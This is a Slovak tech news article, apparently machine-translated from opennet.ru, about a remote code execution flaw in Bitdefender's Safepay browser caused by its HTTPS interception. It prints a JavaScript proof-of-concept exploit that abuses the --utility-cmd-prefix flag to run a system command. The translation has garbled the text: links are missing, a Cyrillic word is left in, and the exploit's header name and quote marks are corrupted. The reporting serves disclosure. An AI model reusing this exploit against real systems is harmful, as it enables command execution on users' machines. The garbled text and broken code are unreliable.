Vladimír Palant, tvorca Adblock Plus, () v špecializovanom webovom prehliadači Safepay založenom na jadre Chromium, ponúkanom ako súčasť antivírusového balíka Bitdefender Total Security 2020 a zameranom na zvýšenie bezpečnosti práce používateľa v globálnej sieti (napríklad je poskytovaná dodatočná izolácia pri prístupe do bánk a platobné systémy). Táto chyba zabezpečenia umožňuje webovým stránkam otvoreným v prehliadači spúšťať ľubovoľný kód na úrovni operačného systému.
Príčinou problému je, že antivírus Bitdefender vykonáva lokálne odpočúvanie HTTPS prenosu nahradením pôvodného TLS certifikátu stránky. V systéme klienta je nainštalovaný ďalší koreňový certifikát, ktorý umožňuje skryť fungovanie používaného systému dopravnej kontroly. Antivírus sa vkliní do chránenej prevádzky a do niektorých stránok vloží vlastný JavaScript kód pre implementáciu funkcie Safe Search a v prípade problémov s certifikátom bezpečného pripojenia nahradí vrátenú chybovú stránku svojou vlastnou. Keďže sa nová chybová stránka zobrazuje v mene otváraného servera, ostatné stránky na tomto serveri majú úplný prístup k obsahu vloženému Bitdefenderom.
Pri otvorení stránky kontrolovanej útočníkom môže táto stránka odoslať požiadavku XMLHttpRequest a pri odpovedi predstierať problémy s certifikátom HTTPS, čo povedie k návratu chybovej stránky sfalšovanej Bitdefenderom. Keďže sa chybová stránka otvára v kontexte domény útočníka, môže si prečítať obsah sfalšovanej stránky s parametrami Bitdefender. Stránka poskytovaná Bitdefenderom obsahuje aj kľúč relácie, ktorý vám umožňuje použiť interné rozhranie Bitdefender API na spustenie samostatnej relácie prehliadača Safepay, špecifikovanie ľubovoľných príznakov príkazového riadku a spustenie akýchkoľvek systémových príkazov pomocou „--utility-cmd-prefix“ vlajka. Príklad exploitu (param1 a param2 sú hodnoty získané z chybovej stránky):
var request = new XMLHttpRequest();
request.open("POST", Math.random());
request.setRequestHeader("Typ-obsahu", "application/x-www-form-urlencoded");
request.setRequestHeader(«BDNDSS_B67EA559F21B487F861FDA8A44F01C50», param1);
request.setRequestHeader(«BDNDCA_BBACF84D61A04F9AA66019A14B035478», param2);
request.setRequestHeader(«BDNDWB_5056E556833D49C1AF4085CB254FC242», «obk.run»);
request.setRequestHeader(«BDNDOK_4E961A95B7B44CBCA1907D3D3643370D», location.href);
request.send("data:text/html,nada —utility-cmd-prefix=\"cmd.exe /k whoami & echo\"");
Pripomeňme, že štúdia vykonaná v roku 2017 že 24 z 26 testovaných antivírusových produktov, ktoré kontrolujú prenos HTTPS prostredníctvom spoofingu certifikátov, znížilo celkovú úroveň zabezpečenia pripojenia HTTPS.
Iba 11 z 26 produktov poskytovalo aktuálne šifrovacie súpravy. 5 systémov neoverilo certifikáty (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produkty Kaspersky Internet Security a Total Security boli predmetom útoku a produkty AVG, Bitdefender a Bullguard sú napadnuté и . Dr.Web Antivirus 11 vám umožňuje vrátiť sa späť k nespoľahlivým exportným šifrám (útok ).
Zdroj: opennet.ru